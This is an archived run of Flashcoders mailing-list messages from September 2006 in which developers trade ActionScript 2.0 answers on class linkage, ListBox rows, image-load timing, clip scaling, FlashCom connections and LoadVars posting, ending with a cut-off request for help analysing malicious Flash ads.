   ActionScript 2.0 classes, you can use the ActionScript 2.0 Class
   field in
   the Linkage Properties or Symbol Properties dialog box to associate
 an
   object with a class instead of using this method.
  
  
   Also, I don't think it works for clips that you've dragged to the
   stage:
  
   When an instance of the specified movie clip symbol is created by
   using
  
   MovieClip.attachMovie() or MovieClip.duplicateMovieClip(), it is
   registered
   to the class specified by theClass
  
   Scott
  
  
   On 9/19/06, Geoff Stearns [EMAIL PROTECTED] wrote:
  
  
   that article was only meant for assigning a class to your _root
   timeline... I don't think he intended it to be used for other
   movieclips in the library or on stage.
  
   for that you could just use the linkage in the library or use
   Object.registerClass()
  
  
  
  
  
   On Sep 19, 2006, at 4:29 PM, slangeberg wrote:
  
I was looking at Danny's article regarding a Flash
Document  Class
   at:
   
   
 http://www.dannypatterson.com/Resources/Blog/EntryDetail.cfm?id=106
   
And i started to wonder if people are using this to associate
 their
clips on
stage with a class?
   
Are people doing this kind of thing (or otherwise) instead of
setting the AS
2.0 class property in the 'linkage' dialog of their
movieclips  in
   the
library?
   
I just hate how it's not obvious (by linkage) which class is
being
used in
Flash 8.0. Only gets me more excited for some Flash 9.0 projects
 to
come
through!
   
: : ) Scott
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
   
Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com
  
   ___
   Flashcoders@chattyfig.figleaf.com
   To change your subscription options or search the archive:
   http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
  
   Brought to you by Fig Leaf Software
   Premier Authorized Adobe Consulting and Training
   http://www.figleaf.com
   http://training.figleaf.com
  
  
  
  
   --
  
   : : ) Scott
   ___
   Flashcoders@chattyfig.figleaf.com
   To change your subscription options or search the archive:
   http://chattyfig.figleaf.com/mailman/listinfo/flashcoders
  
   Brought to you by Fig Leaf Software
   Premier Authorized Adobe Consulting and Training
   

Re: [Flashcoders] Hiding MD5 shared secret

2006-09-20 Thread Marcelo de Moraes Serpa

I think SWF Encrypt could do the job in this case. Manually, you could keep
the shared secret in an ecnrypted form and then decrypt it at runtime when
needed. Or it could be loaded from a server... just some thoughts.

On 9/20/06, Toon Van de Putte [EMAIL PROTECTED] wrote:


Hi,

I'm building a Flash game that'll store a player's score in a database. To
make sure the posts are coming from the swf, we're using MD5 to hash some
(variable) player data together with a shared secret.
This works fine, until someone downloads and decompiles the swf, and finds
the shared secret.
Do you have any best practices for hiding the shared secret as much as
possible? I don't know enough about how the Flash IDE compiles swf's to
figure this out on my own.

Thanks!
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] Disable Row in ListBox Component

2006-09-20 Thread azsl1326-email
Hello All ---

Is it possible to disable a row or number of (specific) rows in a ListBox 
without disabling the entire ListBox?

Thanks for any and all replies.

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Associate clip with class

2006-09-20 Thread Francis Turmel

If this can be useful to anyone, I modified Danny's class to fit my needs
and used
it on several projects so far. Works like a charm.


class ca.nectere.utils.ClassUtils{

   //create a movieClip and associate a class with it
   static public function CreateWithClass( classRef:Function,
target:MovieClip, name:String, depth:Number, params:Object ){
   var mc:MovieClip=target.createEmptyMovieClip(name,depth);
   mc.__proto__ = classRef.prototype;
   if (params != null) for (var i in params) mc[i]=params[i];
   classRef.apply(mc);
   return mc;
   }

   //attach a movieClip from the library and associate a class with it
   static public function AttachWithClass( classRef:Function,
target:MovieClip, id:String, name:String, depth:Number, params:Object ){
   var mc:MovieClip = target.attachMovie(id, name, depth, params);
   mc.__proto__ = classRef.prototype;
   classRef.apply(mc);
   return mc;
   }

   //link a class with an existing movieClip, use for _root / timeline
association
   static public function LinkWithClass( classRef:Function,
target:MovieClip ){
   var mc:MovieClip = target;
   mc.__proto__ = classRef.prototype;
   classRef.apply(mc);
   return target;
   }

}




On 9/20/06, Adam Pasztory [EMAIL PROTECTED] wrote:


I'm not a big fan of using Object.registerClass().  I find it creates a
dependency between code and art assets that can be problematic.  If your
MovieClip is changed, your won't be able to instantiate anymore.  Another
problem with registerClass() is that it makes it difficult to change the
source
of the movie clip.  For example, if I decide I'd like to load an external
SWF instead of attaching a clip from the library, my class won't work
anymore.

Like Jason, I use containment most of the time to encapsulate movie clips.

On 9/20/06, slangeberg [EMAIL PROTECTED] wrote:

 Eka,

 Can you tell us what you're trying to accomplish with that
DisplayFactory?

 Usage example?

 Scott

 On 9/20/06, eka [EMAIL PROTECTED] wrote:
 
  Hello :)
 
  with Vegas : http://osflash.org/vegas
 
  you can use the class DisplayFactory :
 
 

http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/src/vegas/util/factory/DisplayFactory.as
 
  Install the AS2 src of vegas in your classpaths and test the example :
 
 

http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/vegas/util/factory/
 
  You can try my example too in Lunas, the Components library extension
of
  vegas :
 
 

http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/lunas/display/components/button/
 
  EKA+ :)
 
  2006/9/20, Alain Rousseau [EMAIL PROTECTED]:
  
   There is an interesting article on the subject in the Flashcoder's
 Wiki
   at osflash.org :
  
  
 

http://www.osflash.org/flashcoders/as2#creating_a_class_instance_based_on_movieclip_without_a_symbol_in_the_library
  
   With this approach you can create a class that extends MovieClip and
   then create an instance of that class without a symbol in the
library.
 I
   found it very useful and really neat ! works like a charm !
  
  
   Alain
  
   Geoff Stearns wrote:
  
it does work in flash 8.
   
as for clips on the stage, it does work, you just have to give the
clip a linkage ID in the library first, and use that linkage to
register the class to it.
   
   
On Sep 19, 2006, at 5:31 PM, slangeberg wrote:
   
Does Object.registerClass() work in Flash 8 (i haven't been able
to
get it
to work)?  Also, does that allow you to register more than one
clip
with a
class?
   
The documentation seems to point to using the Linkage setting for
  AS2:
   
* Availability: *ActionScript 1.0; Flash Player 6 - If you are
 using
ActionScript 2.0 classes, you can use the ActionScript 2.0 Class
field in
the Linkage Properties or Symbol Properties dialog box to
associate
  an
object with a class instead of using this method.
   
   
Also, I don't think it works for clips that you've dragged to the
stage:
   
When an instance of the specified movie clip symbol is created
by
using
   
MovieClip.attachMovie() or MovieClip.duplicateMovieClip(), it is
registered
to the class specified by theClass
   
Scott
   
   
On 9/19/06, Geoff Stearns [EMAIL PROTECTED] wrote:
   
   
that article was only meant for assigning a class to your _root
timeline... I don't think he intended it to be used for other
movieclips in the library or on stage.
   
for that you could just use the linkage in the library or use
Object.registerClass()
   
   
   
   
   
On Sep 19, 2006, at 4:29 PM, slangeberg wrote:
   
 I was looking at Danny's article regarding a Flash
 Document  Class
at:


  http://www.dannypatterson.com/Resources/Blog/EntryDetail.cfm?id=106

 And i started to wonder if people are using this to associate
  their
 clips on
 stage with a class?

 Are people doing this kind of thing (or otherwise) 

[Flashcoders] OT: Nodebox

2006-09-20 Thread bitstreams

Hi
Read a recent post on Brendan Dawes site about a python based graphics tool, 
similar to Processing, called Nodebox.

Has anyone used it?

How does it compare with processing?

Jim Bachalo

[e] jbach at bitstream.ca
[c] 416.668.0034
[w] www.bitstream.ca

...all improvisation is life in search of a style.
 - Bruce Mau,'LifeStyle'
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] ::dk:: Best way to check if data is done loading for scroll bars

2006-09-20 Thread Bbt Lists

Gustavo Teider - Adobe Flash Developer wrote:





use setScrollTarget

scrollbar.setScrollTarget(your_textfield);

is this ?

But how do you tell if the data is actually done loading? I mean for 
example, i have a field that loads a jpg in, and since the jpg takes a 
little longer, the scroll bars account for the text, but not hte image. 
And if I call redraw right after I call the data to be loaded, it seems 
to still be too soon.




--
dnk

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Disable Row in ListBox Component

2006-09-20 Thread Michael Stuhr

[EMAIL PROTECTED] schrieb:

Hello All ---

Is it possible to disable a row or number of (specific) rows in a ListBox 
without disabling the entire ListBox?


i think you have to do this manually.
you either create a cellrenderer for your list and handle it this way (look in the help for 
cellRenderer API) or you could :


var list:mx.controls.List;

list.addItem({label:Flash, data:{value:1, enabled:true}} );
/**/
list.addItem({label:Dreamweaver, data:{value:2, enabled:false}} );
list.addItem({label:ColdFusion, data:{value:3, enabled:true}} );


function onListClick (evt:Object)
{
var list = evt.target;
//
if (!list.selectedItem.data.enabled)
{
list.selectedIndex = undefined;
list.invalidate();
trace (this item is disabled)
}
else
{
trace (you selected:  + list.selectedItem.label)
}
}
function onListRollOver(evt:Object)
{
var list = evt.target;
var ix = evt.index;
var item = list.getItemAt(ix);
	var curCol = list.getStyle(backgroundColor); // be aware of alternatingRowColors, you'd 
have to check here if ix is odd or even, also you should check that there's no cutom 
cellrenderer here

//
if (!item.data.enabled)
{
list.setPropertiesAt(ix, {backgroundDisabledColor:curCol});
list.invalidate();
}
else
{
trace (you hovered:  + list.selectedItem.label);
}
}
list.addEventListener ('change', onListClick)
list.addEventListener ('itemRollOver', onListRollOver)


cheers
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] ::dk:: Best way to check if data is done loading for scroll bars

2006-09-20 Thread Marc Hoffman
Good point, and I don't know of an elegant answer. But one hack would 
be to simultaneously load your images into hidden clips using 
MovieClipLoader, and set up some onInit calls that would tell you 
when all the images have been downloaded.


Marc

At 09:20 AM 9/20/2006, you wrote:


Gustavo Teider - Adobe Flash Developer wrote:



use setScrollTarget

scrollbar.setScrollTarget(your_textfield);

is this ?
But how do you tell if the data is actually done loading? I mean for 
example, i have a field that loads a jpg in, and since the jpg takes 
a little longer, the scroll bars account for the text, but not hte 
image. And if I call redraw right after I call the data to be 
loaded, it seems to still be too soon.




--
dnk



___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] Associate clip with class

2006-09-20 Thread Francis Turmel

hrm actually heres a slightly revised version. Hope this helps


class ca.nectere.utils.ClassUtils{

   //create a movieClip and associate a class with it
   static public function CreateWithClass( classRef:Function,
target:MovieClip, name:String, depth:Number, params:Object ){
   if (depth == null) target.getNextHighestDepth();
   var mc:MovieClip=target.createEmptyMovieClip(name,depth);
   LinkWithClass(classRef, mc);
   if (params != null) for (var i in params) mc[i]=params[i];
   return mc;
   }

   //attach a movieClip from the library and associate a class with it
   static public function AttachWithClass( classRef:Function,
target:MovieClip, id:String, name:String, depth:Number, params:Object ){
   if (depth == null) target.getNextHighestDepth();
   var mc:MovieClip = target.attachMovie(id, name, depth, params);
   LinkWithClass(classRef, mc);
   return mc;
   }

   //link a class with an existing movieClip, use for _root / timeline
association
   static public function LinkWithClass( classRef:Function,
target:MovieClip ){
   target.__proto__ = classRef.prototype;
   classRef.apply(target);
   return target;
   }

}



On 9/20/06, Francis Turmel [EMAIL PROTECTED] wrote:


If this can be useful to anyone, I modified Danny's class to fit my needs
and used
it on several projects so far. Works like a charm.


class ca.nectere.utils.ClassUtils{

//create a movieClip and associate a class with it
static public function CreateWithClass( classRef:Function,
target:MovieClip, name:String, depth:Number, params:Object ){
var mc:MovieClip=target.createEmptyMovieClip(name,depth);
mc.__proto__ = classRef.prototype;
if (params != null) for (var i in params) mc[i]=params[i];
classRef.apply(mc);
return mc;
}

//attach a movieClip from the library and associate a class with it
static public function AttachWithClass( classRef:Function,
target:MovieClip, id:String, name:String, depth:Number, params:Object ){
var mc:MovieClip = target.attachMovie(id, name, depth, params);
mc.__proto__ = classRef.prototype;
classRef.apply(mc);
return mc;
}

//link a class with an existing movieClip, use for _root / timeline
association
static public function LinkWithClass( classRef:Function,
target:MovieClip ){
var mc:MovieClip = target;
mc.__proto__ = classRef.prototype;
classRef.apply(mc);
return target;

}

}




On 9/20/06, Adam Pasztory [EMAIL PROTECTED] wrote:

 I'm not a big fan of using Object.registerClass().  I find it creates a
 dependency between code and art assets that can be problematic.  If your
 MovieClip is changed, your won't be able to instantiate
 anymore.  Another
 problem with registerClass() is that it makes it difficult to change the
 source
 of the movie clip.  For example, if I decide I'd like to load an
 external
 SWF instead of attaching a clip from the library, my class won't work
 anymore.

 Like Jason, I use containment most of the time to encapsulate movie
 clips.

 On 9/20/06, slangeberg [EMAIL PROTECTED] wrote:
 
  Eka,
 
  Can you tell us what you're trying to accomplish with that
 DisplayFactory?
 
  Usage example?
 
  Scott
 
  On 9/20/06, eka [EMAIL PROTECTED]  wrote:
  
   Hello :)
  
   with Vegas : http://osflash.org/vegas
  
   you can use the class DisplayFactory :
  
  
 
 
http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/src/vegas/util/factory/DisplayFactory.as
  
   Install the AS2 src of vegas in your classpaths and test the example
 :
  
  
  http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/vegas/util/factory/

  
   You can try my example too in Lunas, the Components library
 extension of
   vegas :
  
  
 
 
http://svn1.cvsdude.com/osflash/vegas/AS2/trunk/bin/test/lunas/display/components/button/
  
   EKA+ :)
  
   2006/9/20, Alain Rousseau [EMAIL PROTECTED] :
   
There is an interesting article on the subject in the Flashcoder's
  Wiki
at osflash.org :
   
   
  
  
http://www.osflash.org/flashcoders/as2#creating_a_class_instance_based_on_movieclip_without_a_symbol_in_the_library

   
With this approach you can create a class that extends MovieClip
 and
then create an instance of that class without a symbol in the
 library.
  I
found it very useful and really neat ! works like a charm !
   
   
Alain
   
Geoff Stearns wrote:
   
 it does work in flash 8.

 as for clips on the stage, it does work, you just have to give
 the
 clip a linkage ID in the library first, and use that linkage to
 register the class to it.


 On Sep 19, 2006, at 5:31 PM, slangeberg wrote:

 Does Object.registerClass() work in Flash 8 (i haven't been
 able to
 get it
 to work)?  Also, does that allow you to register more than one
 clip
 with a
 class?

 The documentation seems to point to using the Linkage setting
 for
   AS2:

Re: [Flashcoders] ::dk:: Best way to check if data is done loading for scroll bars

2006-09-20 Thread Gustavo Teider - Adobe Flash Developer

Bbt Lists escreveu:

Gustavo Teider - Adobe Flash Developer wrote:





use setScrollTarget

scrollbar.setScrollTarget(your_textfield);

is this ?

But how do you tell if the data is actually done loading? I mean for 
example, i have a field that loads a jpg in, and since the jpg takes a 
little longer, the scroll bars account for the text, but not hte 
image. And if I call redraw right after I call the data to be loaded, 
it seems to still be too soon.





your image its loading in html textfield with img src  ??

Do you have an example about this ?
Put your files in your server , so , will be easy

[]´s

--
Gustavo Teider ( gugateider )
www.gugateider.com
Curitiba - PR

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] ::dk:: Best way to check if data is done loading for scroll bars

2006-09-20 Thread Gustavo Teider - Adobe Flash Developer

Bbt Lists escreveu:

Gustavo Teider - Adobe Flash Developer wrote:





use setScrollTarget

scrollbar.setScrollTarget(your_textfield);

is this ?

But how do you tell if the data is actually done loading? I mean for 
example, i have a field that loads a jpg in, and since the jpg takes a 
little longer, the scroll bars account for the text, but not hte 
image. And if I call redraw right after I call the data to be loaded, 
it seems to still be too soon.





if you are using loadMovie to load images, forget 
Use MovieClipLoader Class, and set scroll target after load image,
the class allow that you do this

ex:

var obj:Object = new Object();
obj.onLoadInit = function() {
   scroll.setScrollTarget(your_textfield);
}
var mcl:MovieClipLoader = new MovieClipLoader();
mcl.addListener(obj);
mcl.loadClip(image.jpg, yourMovieClipTarget);

[]´s


--
Gustavo Teider ( gugateider )
www.gugateider.com
Curitiba - PR

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] ::dk:: Best way to check if data is done loading for scroll bars

2006-09-20 Thread Duncan Reid

One thing you can try is to give your image an id so it's seen as a
MovieClip within the textfield, then you can run a checker to see when
it's loaded then redraw the scrollbar...

img id='mcID' src='stuff.jpg' hspace='10' vspace='5' align='left'

so to access it you would path: textfieldname.mcID.

hope this helps some,
Dunc


On 9/20/06, Bbt Lists [EMAIL PROTECTED] wrote:


Gustavo Teider - Adobe Flash Developer wrote:


 use setScrollTarget

 scrollbar.setScrollTarget(your_textfield);

 is this ?

But how do you tell if the data is actually done loading? I mean for
example, i have a field that loads a jpg in, and since the jpg takes a
little longer, the scroll bars account for the text, but not hte image.
And if I call redraw right after I call the data to be loaded, it seems
to still be too soon.



--
dnk

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] MC not pressed

2006-09-20 Thread Laurent CUCHET
There is a lot of mc but I take to explain the case :
They are name A_mc, B_mc and C_mc

If I press one clip its scale get 300.
How can I do in the same time get 50 to the other not pressed ?

A_mc.onPress = B_mc.onPress = C_mc.onPress = function() {
this._xscale = this._yscale = 300;
};

Thank you very much
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE:[Flashcoders] Disable Row in ListBox Component

2006-09-20 Thread azsl1326-email
Perfect ... thanks!

Wed Sep 20 12:22:58 EDT 2006
Michael Stuhr wrote:
i think you have to do this manually.
you either create a cellrenderer for your list and handle it this way (look in 
the help for 
cellRenderer API) or you could :

var list:mx.controls.List;

list.addItem({label:Flash, data:{value:1, enabled:true}} );
/**/
list.addItem({label:Dreamweaver, data:{value:2, enabled:false}} );

list.addItem({label:ColdFusion, data:{value:3, enabled:true}} );
 
function onListClick (evt:Object)
{
   var list = evt.target;
   //
   if (!list.selectedItem.data.enabled)
   {
   list.selectedIndex = undefined;
   list.invalidate();
   trace (this item is disabled)
   }
   else
   {
   trace (you selected:  + list.selectedItem.label)
   }
}
function onListRollOver(evt:Object)
{
   var list = evt.target;
var ix = evt.index;
var item = list.getItemAt(ix);
var curCol = list.getStyle(backgroundColor); // be aware of 
alternatingRowColors, you'd 
have to check here if ix is odd or even, also you should check that there's no 
cutom 
cellrenderer here
   //
   if (!item.data.enabled)
   {
   list.setPropertiesAt(ix, {backgroundDisabledColor:curCol});
   list.invalidate();
   }
   else
   {
   trace (you hovered:  + list.selectedItem.label);
   }
}
list.addEventListener ('change', onListClick)
list.addEventListener ('itemRollOver', onListRollOver)


cheers

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] ::dk:: Best way to check if data is done loading for scroll bars

2006-09-20 Thread Bbt Lists

Gustavo Teider - Adobe Flash Developer wrote:



Gustavo Teider - Adobe Flash Developer wrote:


your image its loading in html textfield with img src  ??

Do you have an example about this ?
Put your files in your server , so , will be easy

[]´s

This is correct. It is an html field with the img tag (in this case). I 
am offsite at another location, so I do not have my files with me to 
post. But that aspect is workign fine.. .I was just hoping to learn of a 
way to test if the data is loaded in this instance.


--
dnk

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] ::dk:: Best way to check if data is done loading for scroll bars

2006-09-20 Thread Bbt Lists

Duncan Reid wrote:

One thing you can try is to give your image an id so it's seen as a
MovieClip within the textfield, then you can run a checker to see when
it's loaded then redraw the scrollbar...

img id='mcID' src='stuff.jpg' hspace='10' vspace='5' align='left'

so to access it you would path: textfieldname.mcID.

hope this helps some,
Dunc
Ah! I will try that when i am back with the files... I was not aware 
that you could do that!



--
dnk

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] MC not pressed

2006-09-20 Thread Gustavo Teider - Adobe Flash Developer

Laurent CUCHET escreveu:

There is a lot of mc but I take to explain the case :
They are name A_mc, B_mc and C_mc

If I press one clip its scale get 300.
How can I do in the same time get 50 to the other not pressed ?

A_mc.onPress = B_mc.onPress = C_mc.onPress = function() {
this._xscale = this._yscale = 300;
};

Thank you very much
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com

  

function  getScale(mc:MovieClip) {

   A_mc._xscale = B_mc._xscale = C_mc._xscale = 50;
   A_mc._yscale = B_mc._yscale = C_mc._yscale = 50;
  
  // here the secret

 mc._yscale = 300;
 mc._xscale = 300; 


}

A_mc.onPress = B_mc.onPress = C_mc.onPress = function() {
   getScale(this);
};


test and show if was this what you want

[]´s

--
Gustavo Teider ( gugateider )
www.gugateider.com
Curitiba - PR

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] MC not pressed

2006-09-20 Thread Marc Hoffman

What I usually do is two steps:

Step 1: go through all the clips and scale them to 50.

Step 2: scale the pressed clip back to 300.

If you have a lot of clips, you should put them in an array. If 
they're all nested in a parent clip, with nothing else in that clip, 
you can use a for...in function to create the array for you:


var pressableClips = new Array();
for (i in parentClipName) {
pressableClips.push (parentClipName[i]);
}

Now you can just cycle through the array to scale everything to 50, 
and then scale the pressed clip to 300.


Sorry I haven't tested this so the syntax may not be perfect.

Marc

At 10:03 AM 9/20/2006, you wrote:


There is a lot of mc but I take to explain the case :
They are name A_mc, B_mc and C_mc

If I press one clip its scale get 300.
How can I do in the same time get 50 to the other not pressed ?

A_mc.onPress = B_mc.onPress = C_mc.onPress = function() {
this._xscale = this._yscale = 300;
};

Thank you very much




___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] NetConnection Fail Error

2006-09-20 Thread [EMAIL PROTECTED]

Any idea why?

I'm trying to publish a live video on my local network...
Locally on my pc works fine, feed and player, but when i go lo local 
host feed still working but no one can see the cam.


here is my code:

feed:
var nc:NetConnection = new NetConnection();
nc.connect(rtmp://localhost/videoApp);

var ns:NetStream = new NetStream(nc);
ns.attachVideo(Camera.get());

vid.attachVideo(Camera.get());

ns.publish(chrisCam, live);



player:

var nc:NetConnection = new NetConnection();
nc.connect(rtmp://localhost/videoApp);

var ns:NetStream = new NetStream(nc);

vid.attachVideo(ns);

ns.play(chrisCam);
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


RE: [Flashcoders] NetConnection Fail Error

2006-09-20 Thread INK
Hi there!
The reason is:
rtmp://localhost/ - this is how you se you computer.
As for the others in local network be sure to change connection string to
you local ip address.
Must be something like 192.168.0.XXX
Or whatever. Depends on your network conf.



-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of
[EMAIL PROTECTED]
Sent: Wednesday, September 20, 2006 9:08 PM
To: Flashcoders mailing list
Subject: [Flashcoders] NetConnection Fail Error

Any idea why?

I'm trying to publish a live video on my local network...
Locally on my pc works fine, feed and player, but when i go lo local 
host feed still working but no one can see the cam.

here is my code:

feed:
var nc:NetConnection = new NetConnection();
nc.connect(rtmp://localhost/videoApp);

var ns:NetStream = new NetStream(nc);
ns.attachVideo(Camera.get());

vid.attachVideo(Camera.get());

ns.publish(chrisCam, live);



player:

var nc:NetConnection = new NetConnection();
nc.connect(rtmp://localhost/videoApp);

var ns:NetStream = new NetStream(nc);

vid.attachVideo(ns);

ns.play(chrisCam);
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] solution: FLVplayer and cuepoints

2006-09-20 Thread til

I solved my own problem :))

Vid1.autoRewind=false; // I didnt have that before


in the button function:
Vid1.stop();
Vid1.seek(player.findCuePoint(cuePt8)[time]-0.25); // I'm moving a
quarter second before the actual cuepoint to ensure the video gets it.
Without the stop though, it didnt work before
Vid1.play();

This causes a slight delay in video playback, but at least it works as expected.

~Til

PS: Hi Eric Dolecki, hows it going?
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] HTTP post request in the background

2006-09-20 Thread Bill Abel
How do you post an array to a server side-script without loading the  
script's URL in the browser.


I can post data using Ruby's Net::HTTP and it works great in a rails  
app. I want to do the same thing in Flash.


LoadVars.send will only work if I load the script's URL into the  
browser. This would be fine if I controlled the script, but it's on  
another application server. I need to pass it the data in the  
background. I tried .sendAndLoad, but that has the same problems.


Is there a simple way to do this? Can I use flash remoting and pass  
the data to a PHP script and make the post from there? I see there is  
a way to do this with Cold Fusion using the CF.http() method, so I  
assume there is something similar elsewhere.


thanks.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


Re: [Flashcoders] HTTP post request in the background

2006-09-20 Thread Gustavo Teider - Adobe Flash Developer

Bill Abel escreveu:
How do you post an array to a server side-script without loading the 
script's URL in the browser.


I can post data using Ruby's Net::HTTP and it works great in a rails 
app. I want to do the same thing in Flash.


LoadVars.send will only work if I load the script's URL into the 
browser. This would be fine if I controlled the script, but it's on 
another application server. I need to pass it the data in the 
background. I tried .sendAndLoad, but that has the same problems.


Is there a simple way to do this? Can I use flash remoting and pass 
the data to a PHP script and make the post from there? I see there is 
a way to do this with Cold Fusion using the CF.http() method, so I 
assume there is something similar elsewhere.


thanks.
___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


always i used sendAndLoad method to do this ...

its works fine ...

what your code ?

did you create two loadVars ?

one to post , other to get ?

[]´s

--
Gustavo Teider ( gugateider )
www.gugateider.com
Curitiba - PR

___
Flashcoders@chattyfig.figleaf.com
To change your subscription options or search the archive:
http://chattyfig.figleaf.com/mailman/listinfo/flashcoders

Brought to you by Fig Leaf Software
Premier Authorized Adobe Consulting and Training
http://www.figleaf.com
http://training.figleaf.com


[Flashcoders] Decompiling some sketchy flash code

2006-09-20 Thread Michiel Nolet
Dear List,
 
First off, apologies if this is the wrong forum for this question.  Some 
background -- I'm in the online advertising industry and I've been trying to 
track down an squash a scam that has been hitting the industry.  There is a 
party out there (errorsafe.com) that is embedding some very nasty code in their 
flash ads that depending on several factors will popup a new window and try 
install their spyware using active-x.
 
Here are two sample swf files:
